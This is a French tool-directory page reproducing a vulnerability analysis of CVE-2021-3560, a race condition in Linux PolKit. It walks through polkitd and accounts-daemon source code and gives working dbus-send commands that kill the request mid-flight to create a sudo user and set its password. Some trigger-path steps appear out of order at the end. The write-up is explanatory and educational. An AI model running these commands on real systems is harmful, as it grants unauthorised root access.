Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3560 — Analyse approfondie de CVE-2021-3560, une vulnérabilité d'élévation de privilèges locale dans PolKit sous Linux. Comprend l'analyse de la cause racine, les mécanismes de l'exploit et une démonstration de la condition de course menant à l'accès root. | Kitploit
Outils/GitHubGitHub/chenaotian/cve-2021-3560
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationAnalyse de BinairesApprentissage et Éducation
GitHubchenaotian/cve-2021-3560

CVE-2021-3560

Analyse approfondie de CVE-2021-3560, une vulnérabilité d'élévation de privilèges locale dans PolKit sous Linux. Comprend l'analyse de la cause racine, les mécanismes de l'exploit et une démonstration de la condition de course menant à l'accès root.

Voir le dépôt
932il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Analyse de l'élévation de privilèges locale par condition de concurrence CVE-2021-3560 dans PolKit

[toc]

Résumé de la vulnérabilité

Identifiant de vulnérabilité : CVE-2021-3560

Score de vulnérabilité :

Produit vulnérable : linux PolKit (polkitd)

Périmètre impacté : introduit à partir du code source 0.113 ; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

  • RHEL 8
  • Fedora 21 et versions ultérieures
  • Debian testing (« bullseye »)
  • Ubuntu 20.04

Conditions d'exploitation : linux local ; dbus + polkitd présents

Effet de l'exploitation : élévation de privilèges locale

Obtention du code source :

  • polkit-0.113 : https://launchpad.net/debian/+source/policykit-1/0.113-5
  • accountsservice : apt source accountsservice
  • dbus : apt source dbus

Mise en place de l'environnement

L'image Ubuntu par défaut ubuntu-20.04.2 peut être répliquée : http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

Principe de la vulnérabilité

Point de déclenchement

Regardons d'abord le code en cause

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src,
			   GAsyncResult         *res,
			   gpointer              user_data)
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error);
  if (!v)
    {
      data->caught_error = TRUE; //某些原因失败之后设置error位
    }
  else
  {
      ··· ···//执行成功的数据处理
  }
  ··· ···
}

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
  ··· ···
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;
}

Dans la fonction polkit_system_bus_name_get_creds_sync , celle-ci effectue l'authentification de certaines requêtes (nous détaillerons le scénario logique plus loin). Elle appelle successivement les méthodes GetConnectionUnixUser et GetConnectionUnixProcessID via le bus org.freedesktop.DBus . Ces deux méthodes, fournies par le bus org.freedesktop.DBus , récupèrent le PID et l'UID de l'utilisateur du processus demandeur, puis les transmettent à la fonction de rappel on_retrieved_unix_uid_pid pour traiter les données retournées. Ensuite, elle bloque en attendant la fin de l'exécution du processus côté bus.

On peut voir dans la fonction on_retrieved_unix_uid_pid que, selon le résultat renvoyé par le bus, elle définit si une erreur s'est produite (error ?) puis positionne le drapeau d'erreur. Si l'exécution réussit, elle retourne normalement l'UID de l'utilisateur ou le PID du processus. Mais dans la fonction polkit_system_bus_name_get_creds_sync , après avoir bloqué en attendant le retour du bus (la condition de traitement terminé est que l'UID et le PID soient tous deux traités ou qu'une erreur se soit produite). Cela signifie qu'il y a logiquement trois résultats possibles du côté bus : récupération de l'UID 0 (utilisateur privilégié) ; récupération d'un UID non nul (utilisateur normal) ; erreur. Mais dans le traitement ultérieur, il n'y a pas de gestion d'erreur : on définit directement out_uid (destiné à l'étage supérieur) avec la valeur data.uid retournée par le bus, puis on met directement ret à TRUE :

root@kitploit:~
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?

Mais on oublie un cas : l'exécution anormale du côté du bus DBUS, qui amène la fonction de rappel à positionner le drapeau d'erreur et à revenir sans traiter les données data. Comme data est initialisé à 0, cela conduit ensuite à définir out_uid à 0, c'est-à-dire utilisateur privilégié.

Alors, où est utilisée cette fonction défectueuse polkit_system_bus_name_get_creds_sync ?

Chemin de déclenchement

Le processus vulnérable est le processus polkitd :

polkit est un ensemble d'outils au niveau applicatif qui, en définissant et en auditant des règles d'autorisation, permet la communication entre processus de différentes priorités : la décision de contrôle est centralisée dans un cadre unifié, déterminant si un processus de basse priorité a le droit d'accéder à un processus de haute priorité.

En bref, il s'agit d'un processus root s'exécutant en arrière‑plan qui, via la communication inter‑processus, effectue un jugement d'autorisation lorsque d'autres processus de faible privilège accèdent aux fonctionnalités fournies par des processus de haut privilège. Comme attacher ce processus avec gdb le fait redémarrer, nous devons analyser le chemin de déclenchement de la fonction vulnérable à partir du code source :

polkitd utilise massivement le framework de communication inter‑processus gio DBUS. Vous pouvez consulter le manuel au préalable pour vous familiariser avec certaines fonctions importantes.

Analysons maintenant le chemin de déclenchement de la vulnérabilité dans polkitd :

  1. D'abord le main :

    polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

    root@kitploit:~
    int
    main (int    argc,
          char **argv)
    {
      ··· ···
      ··· ···
    
      loop = g_main_loop_new (NULL, FALSE);
    
      sigint_id = g_unix_signal_add (SIGINT,
                                     on_sigint,
                                     NULL);
    
      name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                      "org.freedesktop.PolicyKit1",  //注册了一个总线名称
                                      G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                        (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                      on_bus_acquired, //访问该总线时的回调函数
                                      on_name_acquired,
                                      on_name_lost,
                                      NULL,
                                      NULL);
    
      g_print ("Entering main event loop\n");
      g_main_loop_run (loop); //循环启动
      ··· ···
      ··· ···
    }
    
  2. Il enregistre d'abord un bus nommé org.freedesktop.PolicyKit1 , puis trois fonctions de rappel ; on s'intéresse surtout à on_bus_acquired , qui est appelée lorsque le bus est sollicité.

  3. Dans la fonction on_bus_acquired , elle appelle directement une fonction d'enregistrement de type polkit_backend_authority_register .

Autrement dit, lorsque d'autres fonctions appellent la méthode CheckAuthorization sur le bus org.freedesktop.PolicyKit1.Authority , dans certaines conditions (contrôler une anomalie lors de la récupération de l'UID de la demande via DBUS), cela peut affecter la correcte authenticité de cette méthode. Comme la réponse est déjà connue, la méthode d'exploitation consiste à utiliser account‑daemon.

Exploitation

Analyse globale

Citer d'abord cette image de l'auteur de l'exp :

image-20220131163536269

Explication des éléments de l'image :

  • polkitd, dbus-daemon et account-daemon sont tous trois des processus de service s'exécutant en arrière‑plan avec les privilèges root.

  • dbus-daemon est un « routeur » de communication inter‑processus, c'est‑à‑dire le cœur du framework GIO DBUS mentionné plus haut. Mon interprétation est que différents processus peuvent y enregistrer des noms de bus, et que les processus souhaitant communiquer avec vous accèdent au nom de bus, aux interfaces et aux noms de méthodes pour invoquer des fonctions dans votre processus. Les fonctions de polkitd décrites plus haut sont enregistrées dans dbus pour attendre que d'autres processus les appellent.

  • account-daemon est similaire à polkitd ; il enregistre le bus org.freedesktop.Accounts dans dbus et fournit une série de méthodes liées aux comptes, comme l'ajout d'utilisateurs, la définition de mots de passe, etc. De plus, avant des opérations telles que l'ajout d'un utilisateur, ce processus effectue une vérification d'autorisation sur l'utilisateur demandeur, en utilisant précisément la méthode CheckAuthorization du bus polkitd qui contient la vulnérabilité décrite plus haut.

Ainsi, le déroulement global de l'exploitation est le suivant :

  1. Utiliser la commande dbus-send pour envoyer un message au processus account-daemon afin de créer un utilisateur administrateur (la méthode CreateUser de ce processus ajoute par défaut un utilisateur administrateur), mais avec notre identité, cette opération ne peut pas aboutir.

  2. Une fois le message reçu par account-daemon, celui‑ci demande une vérification d'autorisation à polkitd pour savoir s'il approuve l'ajout de l'utilisateur.

  3. polkitd interroge le bus pour connaître l'UID et le PID du processus qui a initié la demande de création d'utilisateur.

    • Ce que nous devons faire : entre l'envoi du message et le moment où account-daemon reçoit le message et où polkitd interroge les permissions du processus demandeur, tuer le processus demandeur (c'est‑à‑dire le processus dbus-send).
  4. Le bus constate alors que le processus qui demandait l'ajout de l'utilisateur a disparu et retourne une erreur.

  5. Comme analysé plus haut, le point vulnérable est que le processus polkitd traite l'erreur comme un succès par défaut, et considère alors que l'UID de l'utilisateur est 0, c'est‑à‑dire un utilisateur privilégié. Cela déclenche la vulnérabilité et autorise l'opération.

Analyse du comportement de communication de account‑daemon

Comme dbus-daemon est simplement un processus intermédiaire, nous ne l'analyserons pas en détail. En revanche, analysons le processus account-daemon, qui est crucial dans l'exploitation. Ce processus utilise également le framework GIO DBUS. Examinons rapidement certains points importants. Tout d'abord, regardons

accountsservice-0.6.45\src\daemon.c : 90

root@kitploit:~
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);

G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
        iface->handle_create_user = daemon_create_user;
        iface->handle_delete_user = daemon_delete_user;
        ··· ···
}

Ici, les macros G_DEFINE_TYPE_WITH_CODE et G_IMPLEMENT_INTERFACE exécutent la fonction daemon_accounts_accounts_iface_init. Le sens de ces deux macros est qu'elles exécuteront daemon_accounts_accounts_iface_init au moment opportun. Dans daemon_accounts_accounts_iface_init, la méthode create_user est enregistrée. Examinons directement l'implémentation de daemon_create_user :

accountsservice-0.6.45\src\daemon.c : 1099

root@kitploit:~
static gboolean
daemon_create_user (AccountsAccounts      *accounts,
                    GDBusMethodInvocation *context,
                    const gchar           *user_name,
                    const gchar           *real_name,
                    gint                   account_type)
{
        ··· ···
        data = g_new0 (CreateUserData, 1);
        data->user_name = g_strdup (user_name);
        data->real_name = g_strdup (real_name);
        data->account_type = account_type;

        daemon_local_check_auth (daemon,
                                 NULL,
                                 "org.freedesktop.accounts.user-administration",
                                 TRUE,
                                 daemon_create_user_authorized_cb, //回调函数
                                 context,
                                 data,
                                 (GDestroyNotify)create_data_free);

        return TRUE;
}

Dans daemon_create_user, on appelle daemon_local_check_auth pour vérifier si l'utilisateur demandeur a les droits ; si la vérification réussit, la fonction de rappel daemon_create_user_authorized_cb est appelée. Regardons d'abord la fonction d'authentification daemon_local_check_auth :

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

root@kitploit:~
void
daemon_local_check_auth (Daemon                *daemon,
                         User                  *user,
                         const gchar           *action_id,
                         gboolean               allow_interaction,
                         AuthorizedCallback     authorized_cb,
                         GDBusMethodInvocation *context,
                         gpointer               authorized_cb_data,
                         GDestroyNotify         destroy_notify)
{
        ··· ···
        polkit_authority_check_authorization (daemon->priv->authority,
                                              subject,
                                              action_id,
                                              NULL,
                                              flags,
                                              NULL,
                                              (GAsyncReadyCallback) check_auth_cb,
                                              data);
        ··· ···
}

Ici est appelée la fonction polkit_authority_check_authorization pour l'authentification. polkit_authority_check_authorization est une fonction de bibliothèque fournie par libpolkit-gobject-1.so.0, qui appelle directement la méthode CheckAuthorization sur le bus org.freedesktop.PolicyKit1.Authority dans le processus polkitd analysé plus haut. En cas de succès de l'authentification, la fonction de rappel daemon_create_user_authorized_cb est appelée :

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

root@kitploit:~
static void
daemon_create_user_authorized_cb (Daemon                *daemon,
                                  User                  *dummy,
                                  GDBusMethodInvocation *context,
                                  gpointer               data)

{
        ··· ···

        argv[0] = "/usr/sbin/adduser";
        argv[1] = "--quiet";
        argv[2] = "--disabled-login";
        argv[3] = "--gecos";
        argv[4] = cd->real_name;
        argv[5] = cd->user_name;
        argv[6] = NULL;

        error = NULL;
        if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
                throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                g_error_free (error);
                return;
        }

        if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
        }

        ··· ···
}

C'est très clair : une fois l'utilisateur créé, il est directement ajouté au groupe sudo, donc à la fin de l'exploit, après avoir ajouté l'utilisateur, on peut passer à root avec sudo su root.

Voyons maintenant une démonstration manuelle de l'exploitation.

Démo

En tant qu'utilisateur normal, on utilise directement la commande dbus-send pour envoyer une demande de création d'utilisateur à account‑daemon :

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Cette demande, dans un système d'exploitation avec interface graphique, affiche une fenêtre de saisie de mot de passe :

image-20220131153323446

Sur un terminal en ligne de commande comme SSH, elle échoue directement :

image-20220131153521697

Selon l'idée d'exploitation ci-dessus, regardons d'abord le temps d'exécution de cette commande :

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

image-20220131153802829

Ensuite, on tue le processus environ à la moitié de son exécution, ce qui a une probabilité de déclencher la vulnérabilité et de créer l'utilisateur :

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!

En répétant plusieurs fois, on réussit :

image-20220131154220337

Et l'utilisateur est bien dans le groupe sudo :

image-20220131154304858

On lui ajoute ensuite un mot de passe de la même manière :

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!

User1002 doit être adapté en fonction de l'UID de l'utilisateur fraîchement créé. Le mot de passe est donné sous forme de hachage. Ensuite, on peut passer à l'utilisateur.

Exploit

Ici, nous n'avons pas écrit l'exploit en détail ; il s'agit simplement d'automatiser les commandes ci‑dessus. L'exploit en C sur GitHub fonctionne également.

hakivvi/CVE-2021-3560

Mesures d'atténuation

Mettre à jour vers la version la plus récente.

Références

Divulgation de la vulnérabilité (github) : https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp(github) : https://github.com/hakivvi/CVE-2021-3560

m0_56642842(CSDN) : https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502

Télécharger l’outil
  • Dans polkit_backend_authority_register , elle enregistre un objet d'interface org.freedesktop.PolicyKit1.Authority , et lui transmet une table de fonctions de rappel server_vtable. Le point de déclenchement de la vulnérabilité se trouve dans l'une de ces fonctions de rappel :

    policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable

    root@kitploit:~
    static const GDBusInterfaceVTable server_vtable =
    {
      server_handle_method_call, //回调函数
      server_handle_get_property,
      NULL, /* server_handle_set_property */
    };
    static void
    server_handle_method_call (GDBusConnection        *connection,
                               const gchar            *sender,
                               const gchar            *object_path,
                               const gchar            *interface_name,
                               const gchar            *method_name,
                               GVariant               *parameters,
                               GDBusMethodInvocation  *invocation,
                               gpointer                user_data)
    {
      Server *server = user_data;
      PolkitSubject *caller;
    
      caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
    
      if (g_strcmp0 (method_name, "EnumerateActions") == 0)
        server_handle_enumerate_actions (server, parameters, caller, invocation);
      else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
        server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
      ··· ···
      ··· ···
    }
    

    Lorsqu'un autre processus appelle la méthode CheckAuthorization via le bus, il appelle la fonction server_handle_check_authorization .

  • Dans server_handle_check_authorization , elle appelle polkit_backend_authority_check_authorization

  • Dans polkit_backend_authority_check_authorization , via un rappel, elle appelle klass->check_authorization ; cette fonction précédemment enregistrée est polkit_backend_interactive_authority_check_authorization :

    polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization

    root@kitploit:~
    void
    polkit_backend_authority_check_authorization (PolkitBackendAuthority        *authority,
                                                  PolkitSubject                 *caller,
                                                  PolkitSubject                 *subject,
                                                  const gchar                   *action_id,
                                                  PolkitDetails                 *details,
                                                  PolkitCheckAuthorizationFlags  flags,
                                                  GCancellable                  *cancellable,
                                                  GAsyncReadyCallback            callback,
                                                  gpointer                       user_data)
    {
      ··· ···
      if (klass->check_authorization == NULL)
        {
          ··· ···
        }
      else
        {
          klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
        }
    }
    authority_class->check_authorization             = /
    polkit_backend_interactive_authority_check_authorization; //在别处初始化的
    
  • Ensuite, on peut suivre l'ordre : check_authorization_sync

  • polkit_backend_session_monitor_get_user_for_subject

  • Fonction vulnérable : polkit_system_bus_name_get_user_sync

  • dbus-send est une commande ; le bus dbus fournit des interfaces de programmation pour les communications inter‑processus, mais aussi des commandes en ligne qui permettent d'envoyer des messages directement à des processus fixes pour appeler leurs méthodes.

  • Bien que le processus dbus-send ait été tué, ce qui provoque une erreur lors de la détection par le bus, account-daemon n'est pas affecté : une fois qu'il a reçu le message, il ne se préoccupe plus de l'existence du processus demandeur.

  • account-daemon reçoit la réponse de polkitd autorisant l'ajout, crée l'utilisateur, et l'exploitation est réussie.